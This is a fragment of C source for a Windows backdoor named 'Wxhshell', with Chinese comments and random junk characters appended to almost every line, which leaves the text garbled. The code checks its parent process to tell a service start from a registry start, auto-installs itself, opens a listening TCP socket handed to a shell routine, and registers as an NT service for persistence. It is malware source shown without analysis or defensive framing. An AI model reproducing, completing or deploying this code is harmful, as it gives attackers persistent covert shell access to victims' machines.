{ d?6\
DWORD ExitStatus; ^55q~DP}>
DWORD PebBaseAddress; 9*Z!=Y#4,
DWORD AffinityMask; f%[0}.wp
DWORD BasePriority; U;w|
=vM
ULONG UniqueProcessId; eeVzOq(
ULONG InheritedFromUniqueProcessId; TxA%{0
} PROCESS_BASIC_INFORMATION; +,q#'wSQG
~rfUqM]I
PROCNTQSIP NtQueryInformationProcess; ]broU%#"
F2)\%HR
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; |U:VkiKt
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; D~Rv"Hh
Tebu?bj
HANDLE hProcess; `ElJL{Rn
PROCESS_BASIC_INFORMATION pbi; ,DIr&5>p2
[wkSY>Gu
HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); r?%,#1|$$
if(NULL == hInst ) return 0; rds4eUxe
4R}$P1 E
g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); `Lj'2LoER
g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); E51'TT9
NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); U-.A+#<IT9
N2uTWT>
if (!NtQueryInformationProcess) return 0; |-Q="7b%
k*ZYT6Z?
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Wr6y w#
if(!hProcess) return 0; yc7"tptfF
INNTp[
if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; WQ1K8B4
VJbn/5+P
CloseHandle(hProcess); O5v~wLx9e
1$n!Lj=5
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId);
M2Zk1Z
if(hProcess==NULL) return 0; ~P,@">}
/P[ @o
HMODULE hMod; @W.0YU0|J
char procName[255]; 2{A/Fbk
unsigned long cbNeeded; l\6.f_
dTVh{~/
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); R^VmNj
Ae8P'FWB>
CloseHandle(hProcess); [A'9sxG
N"Cd{3
if(strstr(procName,"services")) return 1; // 以服务启动 WqRaD=R->;
5E!Wp[^
return 0; // 注册表启动 ?WBA:?=$58
} 9jJ:T$}
K)P].htw
// 主模块 F7&Oc)f"B
int StartWxhshell(LPSTR lpCmdLine) W61nJ7@
{ zwgO|Qg;
SOCKET wsl; -(VX+XHW
BOOL val=TRUE; jmr1e).];
int port=0; +5N09$f;R
struct sockaddr_in door; 1Gp|_8
5e
>qBw8t
if(wscfg.ws_autoins) Install(); 1#V&'A
oV;I8;#\J
port=atoi(lpCmdLine); rrrn8b6
#@Rtb\9
if(port<=0) port=wscfg.ws_port; Ou5,7Ne
^K?Mq1"Db
WSADATA data; AcIw;
c:
if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; K*aGz8N
umI6# Vd`=
if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1; Senb_?
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); +GlG.6
door.sin_family = AF_INET; EMw
biGV
door.sin_addr.s_addr = inet_addr("127.0.0.1"); fctVJ{?
door.sin_port = htons(port); V_P,~!
/_ RrNzqy
if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { t}>"nr0
closesocket(wsl); K{__rO
return 1; +8 }p-<a
} (;2]`D [x
+`+r\*C5
if(listen(wsl,2) == INVALID_SOCKET) { 87OX:6
closesocket(wsl); 9V?:!%J
return 1; ,K8(D<{
} /rzZU} 3[
Wxhshell(wsl); @YI-@
WSACleanup(); BE,H`G #h
Nrfj[I
return 0; _<7e5VR
!3Ed0h]Bfa
} 8gXf4A(N
~Aoo\fN_U
// 以NT服务方式启动 Ji;R{tZ.R
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 8+8P{_
{ D`@*udn=
DWORD status = 0; lk%W2N5
DWORD specificError = 0xfffffff; f1RX`rXf
JAS!eF
serviceStatus.dwServiceType = SERVICE_WIN32; ;2Za]%'
serviceStatus.dwCurrentState = SERVICE_START_PENDING; *v0}S5^/"
serviceStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; 89l{h8R
serviceStatus.dwWin32ExitCode = 0; T]y^PT<8?
serviceStatus.dwServiceSpecificExitCode = 0; C^9bur/
serviceStatus.dwCheckPoint = 0; la*c/*
serviceStatus.dwWaitHint = 0; }Oe9Zq
!~a1xI~s
hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); {f[X)
if (hServiceStatusHandle==0) return; O;SD90
V"W)u#4,
status = GetLastError(); *S\/l-D
if (status!=NO_ERROR) :'K%&e?7s
{ $#HUxwx4
serviceStatus.dwCurrentState = SERVICE_STOPPED; Sj9NhtF]f
serviceStatus.dwCheckPoint = 0; M|\C@,F]8
serviceStatus.dwWaitHint = 0; |s{[<;
serviceStatus.dwWin32ExitCode = status; =(]||1.
serviceStatus.dwServiceSpecificExitCode = specificError; %z5P%F'5
SetServiceStatus(hServiceStatusHandle, &serviceStatus); PXDwTuyc
return; Bw*6X`'Q
} /]hE?cmj
5 $:
q
serviceStatus.dwCurrentState = SERVICE_RUNNING; 5}he)2*uD
serviceStatus.dwCheckPoint = 0; )NCSO b
serviceStatus.dwWaitHint = 0; Qhsk09K_=4
if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 6^vHFJ$
} "6xTh0D
4kdQ h]
// 处理NT服务事件,比如:启动、停止 Vv~:^6il
VOID WINAPI NTServiceHandler(DWORD fdwControl) `ILO]+`5
{ +i6XCN1=
switch(fdwControl) &dvL`
{ K0z@gWGE
case SERVICE_CONTROL_STOP: mFeoeI,Jv
serviceStatus.dwWin32ExitCode = 0; U(u$5
serviceStatus.dwCurrentState = SERVICE_STOPPED; mIkc+X
serviceStatus.dwCheckPoint = 0; vGI?X#w3
serviceStatus.dwWaitHint = 0;
D?@e,e
{ @g==U{k;t
SetServiceStatus(hServiceStatusHandle, &serviceStatus); 7 J+cs^2
} 2` j#eB1
return; s5D<c'-
case SERVICE_CONTROL_PAUSE: -40OS=wpA
serviceStatus.dwCurrentState = SERVICE_PAUSED; -8D$ [@y(
break; =3<@{^Eg
case SERVICE_CONTROL_CONTINUE: N[8y+2SZ
serviceStatus.dwCurrentState = SERVICE_RUNNING; ["
nDw<U
break; b8TwV_&|X
case SERVICE_CONTROL_INTERROGATE: 5$Aiez~tBq
break; r-IG.ym3
}; t*cVDA&K